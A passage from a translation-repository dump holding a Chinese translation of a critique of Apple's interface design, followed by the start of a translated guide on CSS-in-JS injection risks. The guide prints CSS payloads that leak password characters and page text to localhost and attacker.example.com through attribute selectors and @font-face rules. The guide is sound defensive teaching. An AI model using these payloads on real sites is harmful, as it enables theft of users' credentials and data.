](http://www.fastcodesign.com/user/don-norman-and-bruce-tognazzini) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [crackhy](https://github.com/crackhy) * 校对者: [achilleo](https://github.com/achilleo)、[iThreeKing](https://github.com/iThreeKing) * 状态 : 完成 # 苹果正在带坏整个设计圈 曾几何时,苹果公司因为产品设计易于使用和易于理解而闻名。它是图形用户界面的冠军,总是能够发现可能的动作,清楚地明白如何选择动作,并且得到该动作明确的反馈。如果结果和预期不一致,系统有权力扭转该动作。 不再如此。尽管现在的产品确实比以前更漂亮,但是美丽是付出了巨大的代价换来的。良好设计的基本原则已经一去不复返了:可发现性、反馈、恢复等等。相反,苹果公司为了追求美丽,创造出了很小很薄,并且低对比度的字体,许多视力正常的人都很难或者根本无法阅读这些字体。我们有连开发者自己都记不住的模糊手势。我们有很多人都不会注意到存在的出众特性。 苹果公司的产品,尤其是那些建立在苹果公司为移动设备开发的iOS系统上的产品,已经不再遵守自己几十年前发展起来的众所周知,十分成熟的设计原则,这些设计原则基于实验科学和常识,把计算能力提高了几代,建立了苹果产品名不虚传的可理解性和易用性。可惜的是,苹果公司已经放弃了很多这些原则。诚然,苹果给iOS和Mac OS X开发者的设计指导方针仍然对这些原则表示敬意,但是在苹果公司内部,许多这些原则不再实行。苹果已经迷失了方向,被风格和外观所驱使,以可理解性和易用性为代价。 苹果正在毁灭设计。 苹果正在毁灭设计。更糟糕的是,它使设计出只要外形漂亮的物品这种老旧的理念重新燃起。不,不能这样!设计是思考的一种方式,决定于人们真实的,潜在的需要,然后给人们提供带来帮助的产品和服务。设计包含一个人对科技、社会和商业的理解。制作外形美观的物体只是现代设计的一小部分:当今的设计师们就城市交通系统,卫生保健系统的设计进行研究。苹果公司加强陈旧的,不足以使人信服的理念,即设计者的唯一工作要求就是使物品造型更加美观,甚至以提供正确合适的功能,增强可理解性,确保方便使用产品为代价。 #### 苹果,你曾经是行业的领导者。为什么你如今变得如此自闭?更糟糕的是,为什么谷歌遵循你最坏的例子? 是的,曾几何时,苹果的计算机和应用程序便捷实用,容易理解且功能强大,不需要任何参考手册便可使用,苹果因此闻名。所有的操作都可以被发现(菜单的功能),都可以撤销或重做,并且有相当多的反馈,所以你总是能知道刚刚所发生的一切。用户被鼓励扩散,随着用户们的扩散越来越多的功能被显现出来。苹果的设计指导思想和原则是强大的,流行的和有影响力的。 ![](http://ww4.sinaimg.cn/large/005SiNxyjw1ezc1w3tm5vg30r80jm7wy.gif) 然而,在苹果推出自己的平板电脑之后,苹果第一部基于手势界面的手机问世了,这次苹果故意抛弃了许多苹果关键的原则。没有了可发现性,没有了可恢复性,仅仅残存着反馈。为什么?不是因为这是个手势交互,而是因为苹果同时做了个激进的行动,为了达到视觉的简约和优雅,以可学习性,可用性和效率为代价。他们开始了出货系统,然而对于新产品人们在学习和使用上遇到了困难,人们开始渐渐远离它,当人们意识到这些问题时已经为时已晚,钱已经被苹果赚去了。即使到这个时候,人们还倾向于责备他们自己:“如果我不那么笨就好了...!”,其实这些本来就是设备的缺点。 今天的 iPhones 和 iPads 都在简洁视觉上做文章。优美的字体,清爽的外表,外来词,标志或是菜单都是整洁的。然后很多人不能读这些文章,它又有什么用呢?它仅仅美丽而已。 一位女士告诉我们她不得不使用苹果的辅助工具使苹果的小号字体变大能够阅读。然而,她抱怨说在许多软件的屏幕上,这种选择使正常字体变大以至于文本无法适应屏幕。重要的是她没有视力缺陷。她只是没有17岁时的视力,我们猜在苹果把字体宽度变得更薄,对比度更低以前,这位女士可以完美地阅读相同的文本。 ![](http://a.fastcompany.net/multisite_files/fastcompany/imagecache/inline-xlarge/inline/2015/11/3053406-inline-2-how-apple-is-giving-design-a-bad-name.png) 什么样的设计理念,需要数以百万计的用户不得不假装自己是残疾的,以便能够使用该产品?苹果可能这样设计了自己的手机,使大多数人能够阅读和使用手机,而不必把自己标注为贫困,残疾和需要援助的人。更糟的是,辅助修正破坏了苹果自己很忠爱的美感,并且有时会使得文本不再适合在屏幕上显示。 文本的可读性只是苹果公司的许多失败设计之一。今天的设备缺乏可发现:仅仅看着屏幕是无法知道哪些是可能的操作。你是否用一根手指,两个甚至多达五个向左或向右滑动,向上或向下滑动?你是否滑动或者点击?如果是点击的话,它是单击还是双击?屏幕上的文本真的是文本还是伪装成文本的一个极为重要的按钮?所以很多时候,用户尝试触摸屏幕上的所有东西只是为了找出什么是真正可触的对象。 ![](http://e.fastcompany.net/multisite_files/fastcompany/imagecache/inline-xlarge/inline/2015/11/3053406-inline-3-how-apple-is-giving-design-a-bad-name.gif) 维韦克·坎普 另一个问题是无法恢复不期望的操作。一个方法是撤销,这是以前图形用户交互聪明的做法。它不仅允许恢复大部分动作,而且使用户能够自由地尝试新动作,当结果与他们期望不同时,他们自己能够恢复到上级操作。可惜的是,苹果发展到iOS以后,开始抛弃系统设计的基本要素-撤销,也许是因为撤消操作要求屏幕上有个撤销对象。对于现在更喜欢简洁优雅而不是简单易用性的苹果来说,这有损于自己的形象。 撤销操作被取消了。所以你猜发生了什么?人们开始集体抱怨了。因此他们用另一种方式把撤销放回来了:通过剧烈摇晃手机或者平板电脑来撤销。但撤消并没有得到普遍的使用,而且除了摇晃没有其他方法知道撤销的存在。甚至如果你摇的方式不对或者某个特定的环境下没有撤销操作,你也发现不了撤销操作的存在。 尤其在相对较小的设备上,触摸屏更容易出现误操作,例如无意点击了一个链接或按了一个按钮。这些无意的触碰把用户带到了新的页面。简单标准的校正这些偶尔误触摸的方法就是放置一个返回键:Android手机已经把返回键作为了一个通用控制,并且返回键总是可用。苹果却没有这么做。 为什么?我们不知道。他们在试图避免弄一个按钮或菜单吗?结果是苹果的做法确实获得了一个干净,优雅的外观,但是简单的外观是骗人的,因为这增加了使用的难度。 在某些位置苹果确实提供了返回箭头,但是与谷歌 Android 却不一样的,Android 上的返回键到处都有,然而苹果的撤销和返回键由开发者来选择。并不是所有人能实现这些功能,也包括苹果。 在没有任何信号的屏幕上(诺曼称之为“标志”),人们是如何知道该向上还是向下滑动,向左还是向右,用一个手指还是两个,三个,四个亦或是五个手指,是单击还是双击亦或是三击,长按还是短按?在知道这些手势后,用户必须得记住这些手势,“阅读手册“(什么手册?)或者无意中发现这些手势操作。 苹果产品是如此地漂亮!结果有趣的是,当人们在使用上遇到困难的时候,他们只是责备自己。这样一来对苹果来说是好事,却对消费者不利。有人应该写一本关于这个的书。(哦,等等,[这里](http://www.jnd.org/books.html)就有[两本](http://www.nngroup.com/people/bruce-tognazzini/)) 好的设计应该是具有吸引力的,令人愉快的,用起来很棒的。但是用起来很棒要求设备容易理解和具有宽容性。好的设计应该遵守基本的心理原则:由理解到控制,然后上升到愉悦。这些原则包括可发现性,反馈,适当的映射,适当的使用限制,当然还有权力撤销某个操作。这些原则都是我们教给那些初步学习交互设计的学生的。如果苹果公司来修这门课,将会是不及格。 更糟糕的是,其他公司都遵循苹果的道路,只注重了外观设计,却忘记了好设计的基本原则。结果,程序员急于完成代码,而不去了解即将使用该产品人。设计师完全集中注意力于使产品看起来漂亮。主管们摆脱了用户体验团队,那些想帮助设计正确产品和确保产品在设计阶段可用的人,以免在制作,编码和发布后才发现问题,那时已经为时已晚。这些公司高管认为前期设计研究,原型和测试必将放慢开发进程。非也!如果处理得当,而且因为这是在早期捕捉问题,甚至在编码开始前就捕捉到问题,相反却可以提高开发速度。 苹果产品通过模糊或者删除重要的控件来隐藏自己的复杂性。 避免正确设计方法的结果是什么呢?是更高的售后成本。不高兴的消费者逐渐叛逃,他们可能仍然赞美苹果的简约界面,但他们会花钱买一个不同品牌的手机,他们希望这些手机实际使用起来能够足够智能。 请不要告诉我们不会使用电脑的爷爷奶奶现在却可以使用像平板电脑之类的科技设备。那么他们究竟掌握了多少新科技呢?是的,像平板电脑和手机等手势控制的设备,这些设备初次使用很简单。但是对于任何高级的操作,他们却有巨大的学习障碍,例如用电子邮件发三张照片,格式化文本,或者组合几个不同操作的结果。这些操作和很多其它操作一样可以在传统计算机上更简单高效地完成。 #### 更具吸引力,更难以使用 新一代的软件在吸引力和计算能力上取得了巨大的飞跃,可是同时也变得更加难用。 不仅仅苹果有这个问题。谷歌地图在迭代的同时变得更有吸引力,也更令人困惑。安卓操作系统也是如此。对于手势操作设备而言,微软的 Windows 8实际上是个聪明智慧的设计,解决了许多我们刚才所描述的问题,但未能将桌面计算机所需的不同操作方式集成用于生产工作。(微软已经意识到这个问题了,跳过了Windows 9,在Windows 10的介绍中,已经明确克服这些问题:我们还没有足够的产品经验来达成任何意见。) 为什么存在这个问题?因为设计有许多分类,就像每门学科有多个方向。在软件开发中,驱动程序程序员不需要擅长交互编程,内核开发者也不需要擅长通信编程。在设计领域,学过心理学的交互设计师知道概念模型,清晰度和可理解性的原则,然而学习计算机科学的这些人却不知道这些原则,甚至那些从事图形设计领域的人似乎还认为交互设计就是网站,他们常常既无法理解编程细节,也无法理解人机交互。 这个问题影响很大。它影响到当人们无法使用好看起来非常完美但实际上并不完美的交互界面的话,他们会觉得自己愚蠢。它使我们的主流产品在可用性和实用性上都倒退了。 #### 什么地方出错了? Tognazzini是我们当中的一人,在创业初期曾在苹果和 Steve Jobs 一起工作。在 Steve Jobs 离开公司不久 Norman 加入了苹果,1996年 Steve Jobs 重返苹果,之后不久 Norman 离开了苹果。我们没能见证从苹果是易于使用,易于理解的产品(当时苹果可以吹嘘有必要无人操作)到今天无人操作,但是又离不开人的转变。我们知道的是在 Jobs 返回公司之前,苹果有一个三管齐下的产品设计方法:用户体验,设计和营销,从设计周期开始的第一天到产品发货,这三个方法都参与其中。 现如今苹果已经对产品可理解性和易用性不再重视了,取而代之的是对产品实行 Bauhaus 简约设计风格。 不幸的是,视觉上的直观简洁不会使产品变得易用,人机交互和人为因素学术期刊的大量文献给出了证明。 苹果的产品故意遮蔽甚至删除重要的控制来隐藏复杂性。正如我们经常想指出的,极致简约是一种一键式控制:非常简单,但是因为只有一个按钮,它的功能是非常有限的,除非系统有模式。模式需要一个相同的控制操作在不同的时间有不同的含义,这将导致混淆和错误。另外,单一的控制可以有好几种工作方式,所以按钮(或者触摸屏)如果单击,双击,或者点击三次,亦或是用一根,两根,三根手指触摸屏幕,上下或者左右滑动屏幕,将会调用不同的操作。或许用特定个数的手指,用特定的次数,沿特定的方向:只需在 Macintosh 上打开苹果控制面板上的“系统偏好设置”然后阅读苹果鼠标或触控板的点击和手势意义之间的选择(和差异)。 ![](http://c.fastcompany.net/multisite_files/fastcompany/imagecache/inline-xlarge/inline/2015/11/3053406-inline-4-how-apple-is-giving-design-a-bad-name.jpg) 格哈德瓦尔/维基共享 简洁的外观可以使控制更加困难,更加随心所欲,需要记忆,并且容易犯多种形式的错误。事实上,在苹果 Lisa 和 Macintosh 电脑的初期,“无模式”是振臂一呼。没有模式的唯一方法是有专门的控制,并且每个控制都意味着同样的事情。 模式的原理和简洁外观与实际的简单性之间的权衡在基本交互设计课程中有讲过。为什么苹果公司放弃了这个知识? #### 苹果的人机界面指南 所有现代计算机公司都为他们的开发者出品人机界面指南。苹果是第一个有这样的指导,并且它为良好的,容易理解的设计提供了原则。苹果人机界面指南最早版本由Tognazzini在1978年编写。到了1987年版,写于1985-1986之间,已经纳入了现代接口关键原则。在1996年史蒂夫·乔布斯回来时,这些原则仍然生效。 苹果公司的全套原则是 Tognazzini 从 Mac 界面总结的原则。在此之前,这些原则只由图形用户界面的工作者隐性掌握。写下这些原则使他们明确了,从而缓解对新员工培训和越来越多为 Macintosh 开发产品的任务。 ![](http://d.fastcompany.net/multisite_files/fastcompany/imagecache/inline-xlarge/inline/2015/11/3053406-inline-5-how-apple-is-giving-design-a-bad-name.jpg) 在抽取原则时,团队主要依靠 HCI 社区做的研究,具体而言,在19世纪80年代早期,诺曼和他的学生在加州大学圣地亚哥分校的工作在HCI会议上发表了,并且在由诺曼和德雷珀主编的书《User Centered System Design》中也发表了。(几个 Macintosh 计算机的早期开发者和参与苹果的提取过程的人,一直在诺曼的班上学习。) 要注意的是,这些原则反映了人们的需求,意愿和人类的能力,而不是他们使用的机器。这些原则不仅适用于19世纪80年代,也适用于今天的接口交互,并且这些原则将一直适用,直到人类进化。这实际上是一个很漫长的过程。 目前[苹果iOS人机界面开发者指南](https://developer.apple.com/library/prerelease/ios/documentation/UserExperience/Conceptual/MobileHIG/index.html#//apple_ref/doc/uid/TP40006556-CH66-SW1)的确提出了众多相关的设计原则,但重点显然是在外观,尤其是外观简洁,还有用户的愉悦和享受。这些都是重要的属性,但是很不充分。 具体而言,开发者指南不少于14次告诫开发者要确保微妙的视觉传达。当然,设计应保持干净,并尽可能简单,但不能去除必要的能指。设计师如何知道这些东西是否是必要的?唯一已知的方法是测试用户。 这真是一个好主意。 不,这是一个强制性的想法。参与测试的并不是你所期望的用户,而是他们的代表,啊不,如苹果暗示的,仅仅是几个同事。 #### 苹果在追求视觉简洁中丢掉了西瓜 最初的苹果设计原则强调使系统容易理解的重要性,简单易学,不用手册。在前进的路上,苹果丢失了过去自己遵循的重要原则。图一展示了随时间发生的变化(由工业设计师迈克尔·迈耶为我们准备的,他读了本文的一个早期版本后,收集了这些图并允许我们使用)迈耶的图片追溯了苹果开发者指南核心原则随时间的变化。 ![](http://f.fastcompany.net/multisite_files/fastcompany/imagecache/inline-xlarge/inline/2015/11/3053406-inline-figure-1.jpg)
      [图 1\. 苹果用户界面指南随时间的变化.迈克尔·迈耶
      该图表示了人机界面规范从1995到2015的发展。由于手势设备使用iOS操作系统,它的开发指南放到了2015开发指南的左侧,是更传统的操作系统(OS X)。 Perceived Stability和Modelessness在2008以后的某个时间消失了。 Forgiveness和Mental-Model在到iOS的跳跃中消失了,同时Explicit和Implied Actions也分离了。 See and Point在2010年年底从iOS指南中消失的,当时系统正升级到iOS 4。 尽管更改为按字母顺序排列可能是一个假象(以往的名单有一个隐含的层次结构原则),2015年的iOS意味着审美完整性跳到了顶部,Metaphors和User Control下降到了谷底。 #### 失踪的原则 iOS中大部分或者全部丢失的重要原则是:可发现性,反馈,可恢复性,一致性和成长鼓励: ### 可发现性 可发现性,即看一眼系统立马发现所有可能操作的能力,一直是苹果设计成功的一个关键组成部分。在早期这个原则叫做“see and point”(在图 1),因为所有可能的操作都由用户看得见的对象替代了,例如按钮,图标或菜单列表项:找到你想要的操作,把鼠标光标放上去,然后点击执行。简单地说,发现性意味着使操作视觉上可发现,这样就不用把这些操作记下来。传统电脑桌面的菜单很好地体现了这个目的,标记的图标同样是的。未标记的图标经常失败,但最糟糕的罪魁祸首是完全没有任何线索。请注意苹果的指导手册里再也没有可发现性了。 ### 反馈 反馈和前馈能让人知道一个操作完成后会发生什么(反馈)或者选择该操作后会发生什么(前馈)。 人们依赖于源源不断的反馈来知道他们的操作是否有效。在物理世界中,反馈是自动的。在软件世界中,只有设计者考虑到反馈才会有反馈。如果没有反馈,人们无法确定当前状态:他们既不掌控也感觉不到掌控。 ### 可恢复性 错误发生时,恢复不会比重做难。(在指南和图 1 中叫做“forgiveness”,这也从当前的指南中消失了。)恢复是用“撤销”命令来实现的。撤消起源于1974年(当时的)施乐公司的帕洛阿尔托研究中心(PARC),可能是由Warren Teitelman提出。众所周知的苹果Lisa和Macintosh,他们的基本机构是由在PARC(苹果从富士施乐购买的版权)的早期开发工作得来的。撤销命令可以通过“重做”命令撤销。撤消和重做提供了从错误中恢复的一个有效的方法,但是也可以用来尝试,知道测试的操作可以随时撤销或重做。 撤销使用户能够恢复内容。返回是一个同伴命令,使用户返回到之前在导航系统中的位置。原始的图形用户界面通过关闭导航来结束,然后把文档和工具呈现给用户。浏览器和iOS是一个倒退到以前的导航界面,用户在迷宫一样的通向模态屏幕的通道中彷徨。 浏览器在支持导航的系统中叫网络,提供了返回按钮,使用户能够在他们的旅程中向后移动。iOS没有提供这样的通用工具,所以假如你不小心在一个应用程序中点击了一个链接,指向Safari或YouTube或者众多地方之一,是没有直接恢复方法的。后退和前进应该是iOS的标准按钮,这样界面对意外导航具有宽容性而不是惩罚性。 ### 一致性 大多数技术用户拥有多个设备,但不同设备的操作常常发生冲突。即使在同一台设备,苹果也违背了一致性:旋转iPhone,键盘会改变布局;旋转iPad,主屏幕图标会重新排序,没有简单的方法预测图标会跑到哪里。 一致性仍然列在指南中,不过已经不遵循了。魔术鼠标的工作原理不同于触控板,这好比手势在iPhone或平板电脑上不同。为什么?(这种不一致通常可以归咎于设计者的封闭工作,从不与他人讨论。例如[康威](http://www.fastcodesign.com/3053406/how-apple-is-giving-design-a-bad-name?utm_source=digg),一个公司的产品反映了公司的组织结构。) ### 成长鼓励 良好的设计鼓励人们学习和成长,一旦他们已经学会了基础知识,就接受新的更复杂的任务。快照者成长为摄影师,一人日记作家成为博客作者,孩子尝试编程,并最终寻求计算机科学的职业生涯。几十年来,鼓励学习和成长是苹果的命脉,这是一个重要的原则,被普遍内化和理解。 ![](http://e.fastcompany.net/multisite_files/fastcompany/imagecache/inline-xlarge/inline/2015/11/3053406-inline-6-how-apple-is-giving-design-a-bad-name.jpg) ABISAG TÜLLMANN #### 迪特·拉姆斯和极简主义的合理化 许多苹果最糟糕的隐藏原则常常被宣传苹果只是继承德国著名设计师迪特·拉姆斯的教导而被原谅,他多年来负责德国博朗公司的产品的美感和可理解性。他们特别举出拉姆斯的第十项原则:“好的设计是尽可能少设计”(Vitsoe,2015年)。但是请注意,这是他的第十项原则,而不是他的首要原则。它可能被改写为,“如果你已经遵循了前九条原则,那么是时间停下来了,别把东西塞满。”无论如何,苹果已经违反了许多早期的原则。这里是良好设计的全部10项原则: 1. Innovative创新 2. Makes a product useful使产品有用 3. Aesthetic艺术的 4. Makes a product understandable使产品可理解 5. Unobtrusive不显眼 6. Honest诚实 7. Long-lasting持久的 8. Thorough down to the last detail详尽 9. Environmentally friendly环保 10. As little design as possible尽可能少设计 来看看迪特·拉姆斯对于这些原则的部分描述,这是很有用的: **2\. 使产品有用** 产品是买来使用的。它必须满足某些标准,不仅实用性,还有心理和美感。良好的设计强调产品而忽视任何可能从它减损的效用。 对于拉姆斯来说实用性是必不可少。模糊控制,消除了重要的功能,如撤销和后退,不会使产品变得好用。事实恰恰相反。 ![](http://f.fastcompany.net/multisite_files/fastcompany/imagecache/inline-xlarge/inline/2015/11/3053406-inline-7-how-apple-is-giving-design-a-bad-name.jpg) Marco Illuminati **3\. 艺术的** 产品的艺术特性对于它的易用性来说是不可或缺的,因为我们每天使用的产品会影响我们个人和福祉。但是,只有良好的执行对象是美丽的。 在他的著作和讲座中,拉姆斯明确表示,美学不只是局限在视觉外观:这些对象必学在设计的各个方面都执行良好才能外型美观。正如他的第二条原则指出,这包括功能和心理因素(如可理解性和可用性)。 ![](http://g.fastcompany.net/multisite_files/fastcompany/imagecache/inline-xlarge/inline/2015/11/3053406-inline-8-how-apple-is-giving-design-a-bad-name.jpg) Marco Illuminati **4\. 使产品可理解** 它阐明了产品的结构。更妙的是,它可以使产品的说话。充其量,它是不言自明的。 虽然苹果的设计原则还在谈论可理解的重要性,可是产品却没反映出来这个特性。苹果的界面有无形的按钮和控制,在一般情况下,缺乏对于理解的帮助。 考虑iPhone和iPad上使用的屏幕键盘。苹果键盘显示的是大写字母,而不管你实际要打什么字母。分辨键盘大小写状态唯一方法是看键盘上的一个向上箭头,这个箭头既不是白色也不是黑色。很奇怪:首先,这意味着人们必须认识到这个向上的箭头是用来控制大小写的。第二,这意味着他们必须知道每种颜色对于的情况。在快速不看你的苹果手机或iPad情况下,你觉得哪种颜色代表小写? 谷歌的安卓屏幕键盘在大写状态下会显示大写,在小写状态下会消失小写。你看,这也不是很难。试想想一般人如何使用该系统。 但是,即使指南试图增强可理解性,他们试图尽量少用翔实的材料,即诺曼所说的“能指”(虽然诺曼称他们为能指,暴露了自己对他们交际功能的偏见,苹果称他们为“装饰”,暴露了自己的偏见。) 对于信号交互,内置的应用程序使用各种线索,包括颜色,位置,上下文和有意义的图标与标签。用户很少需要额外的装饰,来显示屏幕上的元素是交互的或暗示它是什么。 最新的人机界面指南确实在尽力解决这些问题。此外,现在苹果提供工具来确保合规性。例如,我们对字体可读性的投诉正在处理。首先,现在的指南声明:文本必须清晰可辨。如果用户不能看清你的应用程序里的字的话,板式再漂亮也没有用。 其次,苹果提供了一个工具“动态式”,无需开发人员关注就能正确地改变字体。指南中解释说动态类型可以自动调整字间距和行高,并正确地响应用户对文字大小的设置(包括辅助文本大小)。我们需要一段时间才能知道这些变化是否有帮助。不幸的是,一旦一种文化被设定,就很难改变,苹果公司故意把文化侧重于视觉外观上的可理解性与易用性。 #### IOS 9 在一家拥有快速产品周期的高科技公司传递批评是一个挑战。事实上,在苹果发布的最新移动操作系统iOS9中,一些我们所讨论的问题已经得到解决。但是这又带来了两个问题: **是什么让他们花这么长时间?** 如果苹果去学习一门基础的交互设计课程,会是不及格。 例如,设计决定当键盘处于大写状态,就应该显示大写字母,当处于小写状态,就应该显示小写字母,很明显,未能提供有关当前模式的简单反馈无视了所以的轻信。那么,这不是以前苹果的作风:虽然最终在iOS9中改正了,到底是什么花了这么长时间? **苹果已经采取的解决方案对低级用户创造了更多的内存负载。** 一篇福布斯文章的标题说明了一切:"[苹果iOS 9的25个秘密功能](http://www.forbes.com/sites/gordonkelly/2015/09/19/apple-ios-9-secrets/)." 秘密功能?如果这些是很强大的功能,为什么会是秘密的?他们为什么这么难以发现?有新的方法来滑动:从右,左,上,下或是中间。用一个,二哥或者更多的手指。在我们的经历中,用相同数量的手指和相同的滑动动作似乎在不同的地方会有不同的结果。 苹果:请了解能指和可见指标对低级迷茫用户的帮助,并且让他们明确。下面是一个不该做的例子:对于“屏幕的旋转被锁定”的图标可以是灰色或不是黑色。但是当它是灰色或者不是灰色时图标是锁定的吗?原来苹果使用文字来说明,但是是用很小的字体且不再图标上。我们当中的一个成员用了5分钟来寻找如何禁用锁定,最终发现了文本-那为什么还需要五分钟来学习一个频繁的操作? #### 存在的问题及解决方案 良好的用户体验来自于市场营销、平面和工业设计、工程和可靠性共同作用的结果,使得生活更美好、愉悦,使苹果用户更富有出创造力。 设计是一个复杂的领域,有许多独立的分支学科。工业设计主要关注的是材料和形式,这是苹果公司擅长的领域。平面设计是关于美学和人机交流,但苹果公司强调外观不能损害通信组件。 交互设计应强调可发现性、反馈和人的感觉控制的能力。当前交互强调愉悦情感的影响,认为这是重要的。为了了解这个部分,需要让人对这个系统如何工作养成一个良好的心理模式,这是同样重要的。 苹果的设计过程变得不平衡。用人机界面指南解决不平衡,是针对开发人员的,但开发人员都不是问题的根本。苹果才是问题的根本。 今天,人们被迫记住任意手势。我们永远不会知道什么是允许的。当我们不小心触碰屏幕,系统把我们带到新的地方,但是没有办法备份或者回到早些的状态。这是我们不得不从头再来。设计似乎已经放弃了科学和苹果自己的交互设计经验,在这一领域苹果曾经是领头人。 图形和交互设计师在平等伙伴关系工作(和工业设计师,工程师和程序员一起)。所有的设计都需要由专业人员测试错误和可靠性,去看改变是否有益。 美丽是付出了巨大的代价换来的。 最后,我们总结苹果公司目前正确且合适的指南和声明,传达了正确的设计理念。 **尊重.**UI(用户界面)帮助人们了解并与内容交互,但从不与之竞争。 **明晰**文字在任何大小都清晰可辨,图标是精确和清晰的,装饰是细微且合适的,集中于功能开发将推动设计。 **深度**视觉层次和真实的动作赋予活力和提高人们的喜悦与理解 最后:虽然明快,美观的用户界面和流畅的动作都彰显出了iOS的用户体验,用户内容是iOS的核心,确保提升你的设计功能并满足用户内容。 棒极了苹果!请遵循自己指南的灵魂,并落到实处! ================================================ FILE: TODO/how-can-i-use-css-in-js-securely.md ================================================ > * 原文地址:[How can I use CSS-in-JS securely?](https://reactarmory.com/answers/how-can-i-use-css-in-js-securely) > * 原文作者:[James K Nelson](https://reactarmory.com/authors/james-k-nelson) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-can-i-use-css-in-js-securely.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-can-i-use-css-in-js-securely.md) > * 译者:[Yuuoniy](https://github.com/Yuuoniy) > * 校对者:[HydeSong](https://github.com/HydeSong) [Tina92](https://github.com/Tina92) # 如何安全地使用 CSS-in-JS ? CSS-in-JS 允许我把 JavaScript 变量插入到 CSS 中,这给了我很大的权限,但这样安全吗? 恶意用户可以仅仅通过 CSS 注入的方式给我造成怎样的破坏性影响?我该如何进行防范? CSS-in-JS 是一门令人兴奋的新技术,完全不需要 CSS  的 `class` 名字。它可以充分利用 CSS 的功能直接给你的组件添加样式。不幸的是,它也促使未转义的 props 插入到 CSS 中,将你暴露给注入攻击。 而 CSS 注入攻击是一个 **重大的安全隐患**。 如果你的网站或 APP 接受用户输入并将其显示给其他用户,那么使用如 [styled-components](https://www.styled-components.com/docs/advanced#security) 或 [glamorous](https://github.com/paypal/glamorous/issues/300) 这样的 CSS-in-JS 库可能会破坏你的网站。更糟的是,你可能会无意中允许攻击者从用户端发出请求,提取他们的数据,窃取其证书,甚至执行任意的 JavaScript 脚本。 当然,安全地使用 CSS-in-JS 是有可能的,你只需要遵守以下简单的法则。 ## 黄金法则 永远不要将用户的输入插入到样式表中。 没有经过处理的用户输入很难可以正确地插入到样式表。所以除非你知道你在做什么,否则不要尝试将其插入。 如果你必须基于用户输入添加样式,请考虑使用原生的 style 属性,你传给 `style` 对象的任何东西都是安全的。 如果该法则被正确地遵循,就可以确保用户的安全。但仅仅一次失误用户的密码就可能被偷... ## 利用 CSS-in-JS CSS-in-JS 就像 CSS 中的 `eval`,它们接受任意输入并将其当作 CSS 来读取。 问题是它们会逐字读取任意输入,即使是不可靠的。更糟糕的是,它们允许你通过 `props`  传递变量,从而助长了不可靠的输入。 如果你的样式组件有 props 的值是用户设置的,那么你需要手动处理输入。否则恶意用户将能够将任意样式注入其他用户的页面。 但样式只是样式,对吗?它们不会那么吓人... ### 窃取密码的 `color` 假设你想允许用户选择他们的个人资料页面的颜色,就像 Twitter 那样。对于普通的 CSS 来说,这有点难实现。但是 CSS-in-JS 可以使其变得简单,你只需要添加一个 `color` prop! 正因为如此,后端开发人员已经处理了 API 方面的事情,现在你可以在你的样式组件中添加 `color` prop。 由于你的 APP 是单页面的,因此打开登录表单时会覆盖个人资料页。而且由于后端开发人员没有验证就将 color 值存储在文本字段中,恶意用户可以设置一个会窃取用户密码的 `color`: 因为工具对插入的字符串执行类似 CSS 的 `eval` 操作,所以这样会起作用。 如果你使用标准的内联样式,或者始终记得清理你的输入,那么你是安全的。 ``` // - 添加更多的选择器来获取更多信息 // - 你也可以使用不同类型的属性选择器 // - 把接受的值与某个字典比较 // 从而对你的数据作出相对正确的猜测 var color = `#8233ff; html:not(&) { input[value*="pa"] { background: url(https://localhost/?pa) } input[value*="as"] { background: url(https://localhost/?as) } input[value*="ss"] { background: url(https://localhost/?ss) } input[value*="sw"] { background: url(https://localhost/?sw) } input[value*="wo"] { background: url(https://localhost/?wo) } input[value*="or"] { background: url(https://localhost/?or) } input[value*="rd"] { background: url(https://localhost/?rd) } }` ``` 你可以在 [Reading Data via CSS Injection](https://www.curesec.com/blog/article/blog/Reading-Data-via-CSS-Injection-180.html) 阅读更多像这样的攻击。 通过使用 password 输入框上的属性选择器根据当前输入改变背景图时,这种攻击也会起作用。以下是在我输入 ‘密码’ 之后 Chrome 开发工具的网络选项卡的样子: ![](https://reactarmory.com/cad5ea782b425e1e9ac072b3c8aa52d9.png) 虽然这种攻击不能窃取所有密码,但它仍会窃取相当多的密码。一些被盗的密码足以毁掉你一天的工作。 这是在 codesandbox 中使用 styled-components 进行的 [概念验证](https://codesandbox.io/s/llnzkwk0mz)。 ### 提取数据的 avatar 假设你的老板想要你的应用程序中的每个用户的名字旁有 avatar。但你的老板有点吝啬,不想为 avatar 支付带宽费用。所以他希望你提供连接到外部 URL 的方案。或者其他方案。 当然,你的 `Identity` 组件是 glamorous 构建的样式组件。它接受整个用户对象作为 prop,该对象包含名字,twitter,以及其他一些东西。后端开发人员为对象添加 `avatarURL`,然后设计师使用 `background-image` 标签标记图像。 而现在,任何人浏览 avatar 都会从页面上具体元素获得数据。以下就是 avatarURL 做的: 这看起来像是过去流行的老式 SQL 注入,但是使用了CSS。我们真的生活在未来啊。 ``` const avatarURL = `blue;} @font-face{ font-family:poc; src: url(https://attacker.example.com/?D); unicode-range:U+0044; } @font-face{ font-family:poc; src: url(https://attacker.example.com/?R); unicode-range:U+0052; } @font-face{ font-family:poc; src: url(https://attacker.example.com/?O); unicode-range:U+004F; } @font-face{ font-family:poc; src: url(https://attacker.example.com/?P); unicode-range:U+0050; } .logged-in { font-family: poc; } .something{color: red ` ``` 你可以在 [基于CSS的攻击:滥用 @font-face 的 unicode-range](http://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html) 阅读更多类似的攻击。 链接文章的作者向 chrome 团队[报告](https://code.google.com/p/chromium/issues/detail?id=543078)了一个错误,但它已被标记为 WontFix 。 通过在自定义字体中为每个字符添加不同的 URL,然后将该字体应用于你想要提取的文本。你可以获取字符列表,而如果在用户输入时应用它,则可以保证你得到正确顺序的输入以及时间信息。你也可以结合其他的东西,如 `::first-letter` 或 `::selection` 选择器以获得更详细的信息。 Chrome 开发者工具的网络选项卡显示当前用户名称的提取方式: ![](https://reactarmory.com/42f2eed3d995577d1558878de3e09d91.png) 这是在 codesandbox 上利用 glamorous 进行的[概念验证](https://codesandbox.io/s/m541x36wpj) ### 执行任意 JavaScript 脚本 React 支持 IE9,并在 [不久的将来停止支持 IE8](https://facebook.github.io/react/blog/2016/01/12/discontinuing-ie8-support.html)。 如果你可以把 JavaScript 的文本文件放在同一个域内,IE9 和更早版本的 IE 都会允许你在样式表中执行任意的 JavaScript 脚本 。 如果你有用户使用 